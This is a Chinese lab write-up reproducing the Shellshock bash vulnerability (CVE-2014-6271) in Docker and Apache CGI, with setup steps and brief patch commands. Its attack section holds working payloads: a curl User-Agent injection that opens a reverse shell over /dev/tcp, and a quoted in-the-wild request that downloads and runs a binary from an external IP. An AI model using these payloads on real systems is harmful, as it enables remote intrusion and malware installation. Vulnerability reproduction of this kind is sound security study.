CVE-2014-6271破壳(shellshock)漏洞复现记录
docker大法好
搭建环境:
centos 6.6 x64
docker安装
看网上说docker需要内核3.8以上,而且只能运行在64位系统
centos 6.6内核低了一点,升级一下内核。
内核升级
a、升级内核
cd /etc/yum.repos.d
wget http://www.hop5.in/yum/el6/hop5.repo
yum install kernel-ml-aufs kernel-ml-aufs-devel
b、修改grub的主配置文件/etc/grub.conf,设置default=0,表示第一个title下的内容为默认启动的kernel(一般新安装的内核在第一个位置)
c、重启系统后运行
uname -r
如果内核是3.10的话就代表升级成功。
docker安装
d、首先关闭selinux:
setenforce 0
sed -i '/^SELINUX=/c\SELINUX=disabled' /etc/selinux/config
e、在Fedora EPEL源中已经提供了docker-io包,下载安装epel:
rpm -ivh http://mirrors.sohu.com/fedora-epel/6/x86_64/epel-release-6-8.noarch.rpm
sed -i 's/^mirrorlist=https/mirrorlist=http/' /etc/yum.repos.d/epel.repo
f、yum安装docker-io:
yum -y install docker-io
g、启动docker服务:service docker start
一定要启动服务,后面运行啥都是爆出错误,应该是服务没开,导致无法守护进程。
Get http:///var/run/docker.sock/v1.19/images/search?term=shellshock: dial unix /var/run/docker.sock: no such file or directory. Are you trying to connect to a TLS-enabled daemon without TLS?
环境搭建(利用别人已经搭建好的环境测试)
查找环境
docker search shellshock
下载镜像
docker pull 镜像name
查看当前可用镜像
docker images
运行镜像,将docker的80转发到本机的80,并运行bash程序
docker run -it -p 80:80 hmlio/vaas-cve-2014-6271 /bin/bash
这里遇到过一个错误:
Error response from daemon: Cannot start container a0a6d92f0172dcbb229c7b1755be0be3b507831416ee36e686fd69a4b0a60c14: [8] System error: write /sys/fs/cgroup/docker/a0a6d92f0172dcbb229c7b1755be0be3b507831416ee36e686fd69a4b0a60c14/cgroup.procs: no space left on device
解决办法:
sudo echo 1 > /sys/fs/cgroup/docker/cgroup.clone_children
sudo echo 0 > /sys/fs/cgroup/docker/cpuset.mems
sudo echo 0 > /sys/fs/cgroup/docker/cpuset.cpus
再重启一下docker服务。
docker的bash下启动web容器,这个镜像的cgi-bin路径是/usr/lib/cgi-bin/
/usr/sbin/apachectl start
查看正在运行的docker
docker ps
停止运行中的docker
docker stop name(这个name是docker ps中最后的name参数值)
2、攻击
poc测试是不是有这个漏洞(bash 1.14至bash 4.3的Linux/Unix系统存在,阿里云的应该是centos6.5是被修补了)
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
a、curl请求
注意前面特殊字符的空格,还有就是程序路径,以前遇上过一个实例,可能是PATH设置问题导致纠结了很久,最好还是带好路径。
curl -A "() { :; }; /bin/bash -i > /dev/tcp/192.168.206.129/2333 0<&1 2>&1" http://192.168.206.130/cgi-bin/stats
b、msf模块
3、另外的环境搭建
在没用docker之前,是下载了一个centos5.5去直接测试,相比docker,镜像文件大小、安装时间、apache安装,等等一系列配置,最后千辛万苦搭建好一个apache_cgi模式,结果好像是因为权限问题,bash也就能echo输出文件内容,其他的都不行。docker就太方便了,就算是不用别人的镜像,自己配置的话,需要按自己需求来弄,需要麻烦一些。
记录一下怎么样弄的cgi模式,用的是centos自带的apache。
httpd.conf配置:
设置/var/www/cgi-bin目录的脚本别名是cgi-bin,
1、ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
让这个目录下都支持cgi
2、
<Directory "/var/www/cgi-bin">
AllowOverride None
Options ExecCGI
Order allow,deny
Allow from all
</Directory>
添加访问后缀,当其被访问能被解析
3、AddHandler cgi-script .cgi .pl .sh
需要有cgi模块
4、LoadModule cgi_module modules/mod_cgi.so
最后一定要注意的是文件的权限问题。
Chmod 777 poc.cgi
其中poc.cgi内容:
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
exit 0
4、
GET./.HTTP/1.0
.User-Agent:.Thanks-Rob
.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Host:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Referer:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;
.Accept:.*/*
5、防御(并未去测试)
Debian-based(包括Ubuntu):
sudo apt-get update && apt-get upgrade
Gentoo:
sudo emerge --sync && glsa-check -f affected
参考:
http://blog.csdn.net/wuhilon88/article/details/41621285
http://drops.wooyun.org/papers/3064
http://drops.wooyun.org/papers/3268